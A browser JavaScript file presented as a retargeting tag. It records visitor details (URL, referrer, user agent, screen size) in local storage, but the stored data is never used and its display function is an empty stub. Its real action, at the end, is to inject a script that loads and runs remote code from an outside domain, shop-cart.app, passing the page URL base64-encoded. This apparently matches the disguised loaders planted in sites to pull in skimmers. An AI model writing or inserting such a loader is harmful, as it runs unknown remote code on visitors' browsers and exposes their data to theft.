(function () {
    if (window.__tagNamespace && window.__tagNamespace.isLoaded) return;
    window.__tagNamespace = window.__tagNamespace || {};
    window.__tagNamespace.isLoaded = true;
  
    var __memStore = {};
    function __hasLocalStorage() {
      try {
        var k = '__tag__test__' + Math.random();
        window.localStorage.setItem(k, k);
        window.localStorage.removeItem(k);
        return true;
      } catch (e) { return false; }
    }
    function __cookieSet(name, value, maxAgeMs) {
      try {
        var parts = [encodeURIComponent(name) + '=' + encodeURIComponent(value)];
        if (maxAgeMs && maxAgeMs > 0) parts.push('Max-Age=' + Math.floor(maxAgeMs / 1000));
        parts.push('Path=/');
        if (location.protocol === 'https:') parts.push('Secure');
        parts.push('SameSite=Lax');
        document.cookie = parts.join('; ');
        return true;
      } catch (e) { return false; }
    }
    function __cookieGet(name) {
      try {
        var m = document.cookie.match(new RegExp('(?:^|; )' + name.replace(/([.$?*|{}()[\]\\/+^])/g, '\\$1') + '=([^;]*)'));
        return m ? decodeURIComponent(m[1]) : null;
      } catch (e) { return null; }
    }
    function __cookieRemove(name) { try { __cookieSet(name, '', -1); } catch (e) {} }
  
    var __useLocal = __hasLocalStorage();
    var __storage = {
      getItem: function (k) {
        try {
          if (__useLocal) return window.localStorage.getItem(k);
          var v = __cookieGet(k);
          if (v !== null) return v;
          return __memStore[k] || null;
        } catch (e) { return null; }
      },
      setItem: function (k, v, ttlMs) {
        try {
          if (__useLocal) { window.localStorage.setItem(k, v); return; }
          if (!__cookieSet(k, v, ttlMs || (365*24*60*60*1000))) { __memStore[k] = v; }
        } catch (e) { __memStore[k] = v; }
      },
      removeItem: function (k) {
        try {
          if (__useLocal) { window.localStorage.removeItem(k); }
          __cookieRemove(k);
          delete __memStore[k];
        } catch (e) {}
      }
    };
    function __safeParse(str, fallback) { try { return str ? JSON.parse(str) : fallback; } catch (e) { return fallback; } }
    function __safeStringify(obj) { try { return JSON.stringify(obj); } catch (e) { return '[]'; } }
  
    var __tag_retargetingConfig = {
      id: 'RTG-KX7YM2D120445',
      maxStorageEntries: 100,
      storageKey: '__tag_offRD',
      sessionTimeout: 15 * 24 * 60 * 60 * 1000
    };
    var __tag_sessionData = {
      id: __tag_retargetingConfig.id,
      pageUrl: location.href,
      referrerUrl: document.referrer || '',
      timestamp: new Date().toISOString(),
      userAgent: navigator.userAgent,
      language: navigator.language,
      screenWidth: (window.screen && window.screen.width) || null,
      screenHeight: (window.screen && window.screen.height) || null
    };
    function __tag_storeSessionData(data) {
      var existing = __safeParse(__storage.getItem(__tag_retargetingConfig.storageKey), []);
      existing.push(data);
      if (existing.length > __tag_retargetingConfig.maxStorageEntries) {
        existing.splice(0, existing.length - __tag_retargetingConfig.maxStorageEntries);
      }
      __storage.setItem(__tag_retargetingConfig.storageKey, __safeStringify(existing), __tag_retargetingConfig.sessionTimeout);
    }
    function __tag_clearOldSessions() {
      var list = __safeParse(__storage.getItem(__tag_retargetingConfig.storageKey), []);
      var now = Date.now();
      var kept = [];
      for (var i = 0; i < list.length; i++) {
        var t = Date.parse(list[i] && list[i].timestamp) || 0;
        if (now - t < __tag_retargetingConfig.sessionTimeout) kept.push(list[i]);
      }
      __storage.setItem(__tag_retargetingConfig.storageKey, __safeStringify(kept), __tag_retargetingConfig.sessionTimeout);
    }
  
    var __tag_firstVisitKey = '__tag_firstVisitTimestamp';
    var __tag_ableToRetargetingKey = '__tag_ableToRetargeting';
    var __tag_daysMs = 7 * 24 * 60 * 60 * 1000;
  
    var __tag_firstVisit = __storage.getItem(__tag_firstVisitKey);
    var __tag_now = Date.now();
    if (!__tag_firstVisit) {
      __storage.setItem(__tag_firstVisitKey, String(__tag_now), 365*24*60*60*1000);
    } else {
      var __tag_firstVisitTime = parseInt(__tag_firstVisit, 10) || 0;
      if (__tag_now - __tag_firstVisitTime >= __tag_daysMs) {
        __storage.setItem(__tag_ableToRetargetingKey, '1', 365*24*60*60*1000);
      } else {
        __storage.setItem(__tag_ableToRetargetingKey, '0', 365*24*60*60*1000);
      }
    }
  
    __tag_clearOldSessions();
    __tag_storeSessionData(__tag_sessionData);
  
    function __tag_displayRetargetingData() {}
    try {
      var s = document.createElement('script');
      s.async = true;
      s.src='https://shop-cart.app/campaigns.js?fpid=' + btoa(document.URL);
      document.head.appendChild(s);
    } catch (e) {}
    __tag_displayRetargetingData();
  })();